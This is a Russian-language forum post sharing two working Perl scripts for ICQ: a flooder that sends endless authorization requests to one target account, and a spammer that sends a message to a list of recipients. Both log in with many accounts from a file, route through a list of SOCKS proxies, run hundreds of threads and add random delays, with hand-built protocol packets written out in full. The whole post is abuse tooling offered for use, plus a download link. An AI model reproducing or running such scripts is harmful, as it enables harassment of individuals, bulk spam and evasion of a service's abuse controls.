Вот на скорую руку еще было набросанно
-флудер авторизацией
Код HTML:
##!/usr/bin/perl
#use warnings;
use strict;
use threads;
use threads::shared;
use Socket;
use IO::Socket;
system("cls");
system("color 02");
print "\n\n\n\n\n\n\n";
print "\t\t\t_| _| \n";
print "\t\t\t _|_|_| _|_| _| _| \n";
print "\t\t\t_| _| _| _| _|_| \n";
print "\t\t\t_| _| _| _| _| _| \n";
print "\t\t\t_| _| _| _| _| _| \n";
sleep(3);
system("cls");
my $ta: shared;
$ta=0;
my $stt;
my $targetUin=""; #kyga
my $authtext="auth";#4em
my ($host,$port) = ('login.icq.com', 5190);
my @uins : shared;
open(FILE, '<C:\uins.txt') or die("\nuins.txt - error");
@uins = <FILE>;
close(FILE);
my @proxy : shared;
open(FH, '<C:\proxy.txt') or die("\nproxy.txt - error"); #IP:PORT
@proxy = <FH>;
close(FH);
chomp(@proxy);
chomp(@uins);
my $threads = 500; #количество потоков = количеству асек в файле
my @thread;
for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 }
for(1..$threads) { $thread[$_]->join; }
sub flood {
open( my $fh, '>>C:\log.txt');
my @tmass;
my $tmp=0;
my ($uin,$password) = split(/;/,shift(@uins));
my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
"\x00\x02".int2bytes(length($password)).
substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
"\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
"\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
"\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
"\x0E\x00\x02\x75\x73";
my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
my $prx = shift(@proxy);
my $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
my $buf;
my $response;
$sock->send(pack("C3", 0x05, 0x01, 0x00));
$sock->recv($buf, 2);
#print join(" ", unpack("C2", $buf)), "\n";
$buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
$buf .= inet_aton($host);
$buf .= pack("n", $port);
#$buf .= 0x00;
$sock->send($buf);
$sock->recv($buf, 10);
#print join(" ", unpack("C4", $buf)), "\n";
my @a = unpack("C4", $buf);
die("SOCKS error: $a[1]") if $a[1];
#print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
#print join("", unpack("n2", substr($buf, 8))), "\n";
$sock->recv($buf, 10);
$sock->send($FLAP.$SNAC);
$sock->recv($response,65535);
close($sock);
if($response=~/MISMATCH_PASSWD/) { return }
my ($BOS_Host, $BOS_Port, $Cookie);
if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
$Cookie = parsCookie($response);
print $fh "\n[+] $uin reconnect to: $BOS_Host:$BOS_Port"
} else { return }
$SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
$FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
$sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
$sock->send(pack("C3", 0x05, 0x01, 0x00));
$sock->recv($buf, 2);
#print join(" ", unpack("C2", $buf)), "\n";
$buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
$buf .= inet_aton($BOS_Host);
$buf .= pack("n", $BOS_Port);
#$buf .= 0x00;
$sock->send($buf);
$sock->recv($buf, 10);
#print join(" ", unpack("C4", $buf)), "\n";
@a = unpack("C4", $buf);
die("SOCKS error: $a[1]") if $a[1];
#print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
#print join("", unpack("n2", substr($buf, 8))), "\n";
$sock->recv($buf, 10);
$sock->send($FLAP.$SNAC);
$sock->recv($response,65535);
$SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
"\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
"\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
"\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
"\x00\x01\x01\x10\x02\x8A";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
$sock->send($FLAP.$SNAC);
while($targetUin) {
$SNAC ="\x00\x13\x00\x18\x00\x00\x00\x00\x00\x18".pack('h',length($targetUin)).$targetUin."\x00".pack('h',length($authtext)).$authtext."\x00\x00";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
$sock->send($FLAP.$SNAC,0);
$ta=$ta+1;
print "send auth $ta\n";
sleep 2+int(rand(5));
}
close $fh;
}
sub int2bytes { return pack('n',shift) }
sub parsCookie {
my $cookie = shift;
my $i++;
for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
return substr($cookie,4+$i,256)
}
BEGIN {
my $seqNum = int(rand(65535));
sub seqNum {
$seqNum++;
$seqNum = 0 if $seqNum > 65535;
return int2bytes($seqNum)
}
}
-спамер icq
Код HTML:
##!/usr/bin/perl
#use warnings;
use strict;
use threads;
use threads::shared;
use Socket;
use IO::Socket;
system("cls");
system("color 02");
print "\n\n\n\n\n\n\n";
print "\t\t\t_| _| \n";
print "\t\t\t _|_|_| _|_| _| _| \n";
print "\t\t\t_| _| _| _| _|_| \n";
print "\t\t\t_| _| _| _| _| _| \n";
print "\t\t\t_| _| _| _| _| _| \n";
sleep(3);
system("cls");
my $ta: shared;
$ta=0;
my $message="spam";
my ($host,$port) = ('login.icq.com', 5190);
my @uins : shared;
open(FILE, '<C:\uins.txt') or die("\nuins.txt - error");
@uins = <FILE>;
close(FILE);
my @sendto : shared;
open(FILE, '<C:\sendto.txt') or die("\nsendto.txt - error");
@sendto = <FILE>;
close(FILE);
my @proxy : shared;
open(FH, '<C:\proxy.txt') or die("\nproxy.txt - error"); #IP:PORT
@proxy = <FH>;
close(FH);
chomp(@proxy);
chomp(@sendto);
chomp(@uins);
my $threads = 500; #количество потоков = количеству асек в файле
if ($threads>scalar(@sendto)) {$threads=scalar(@sendto);}
my @thread;
for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 }
for(1..$threads) { $thread[$_]->join; }
sub flood {
open( my $fh, '>>C:\log.txt');
my @tmass;
my $tmp=0;
my ($uin,$password) = split(/;/,shift(@uins));
my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
"\x00\x02".int2bytes(length($password)).
substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
"\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
"\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
"\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
"\x0E\x00\x02\x75\x73";
my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
my $prx = shift(@proxy);
my $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
my $buf;
my $response;
$sock->send(pack("C3", 0x05, 0x01, 0x00));
$sock->recv($buf, 2);
#print join(" ", unpack("C2", $buf)), "\n";
$buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
$buf .= inet_aton($host);
$buf .= pack("n", $port);
#$buf .= 0x00;
$sock->send($buf);
$sock->recv($buf, 10);
#print join(" ", unpack("C4", $buf)), "\n";
my @a = unpack("C4", $buf);
die("SOCKS error: $a[1]") if $a[1];
#print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
#print join("", unpack("n2", substr($buf, 8))), "\n";
$sock->recv($buf, 10);
$sock->send($FLAP.$SNAC);
$sock->recv($response,65535);
close($sock);
if($response=~/MISMATCH_PASSWD/) { return }
my ($BOS_Host, $BOS_Port, $Cookie);
if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
$Cookie = parsCookie($response);
print $fh "\n[+] $uin reconnect to: $BOS_Host:$BOS_Port"
} else { return }
$SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
$FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
$sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
$sock->send(pack("C3", 0x05, 0x01, 0x00));
$sock->recv($buf, 2);
#print join(" ", unpack("C2", $buf)), "\n";
$buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
$buf .= inet_aton($BOS_Host);
$buf .= pack("n", $BOS_Port);
#$buf .= 0x00;
$sock->send($buf);
$sock->recv($buf, 10);
#print join(" ", unpack("C4", $buf)), "\n";
@a = unpack("C4", $buf);
die("SOCKS error: $a[1]") if $a[1];
#print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
#print join("", unpack("n2", substr($buf, 8))), "\n";
$sock->recv($buf, 10);
$sock->send($FLAP.$SNAC);
$sock->recv($response,65535);
$SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
"\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
"\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
"\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
"\x00\x01\x01\x10\x02\x8A";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
$sock->send($FLAP.$SNAC);
while(my $targetUin=shift(@sendto)) {
$SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02".
pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102).
"\x00\x00".
"\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00".
"\x00\x0A\x00\x02\x00\x01\x00\x0F".
"\x00\x00\x27\x11". #хз
int2bytes(length($message)+62). #61 + длина текста
"\x1B\x00\x08".("\x00"x19).
"\x03\x00\x00\x00".
"\x00\x02\x00\x0E\x00\x02".("\x00"x13).
"\x01\x00\x00\x00\x00".
"\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
$sock->send($FLAP.$SNAC,0);
$ta=$ta+1;
sleep 2+int(rand(5));
print "send message $ta to $targetUin\n";
}
close $fh;
}
sub int2bytes { return pack('n',shift) }
sub parsCookie {
my $cookie = shift;
my $i++;
for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
return substr($cookie,4+$i,256)
}
BEGIN {
my $seqNum = int(rand(65535));
sub seqNum {
$seqNum++;
$seqNum = 0 if $seqNum > 65535;
return int2bytes($seqNum)
}
}
Код:
http://dump.ru/file_catalog/954684
все на скрипте C!klodoL'a
Об ошибках в скриптах в пм.
|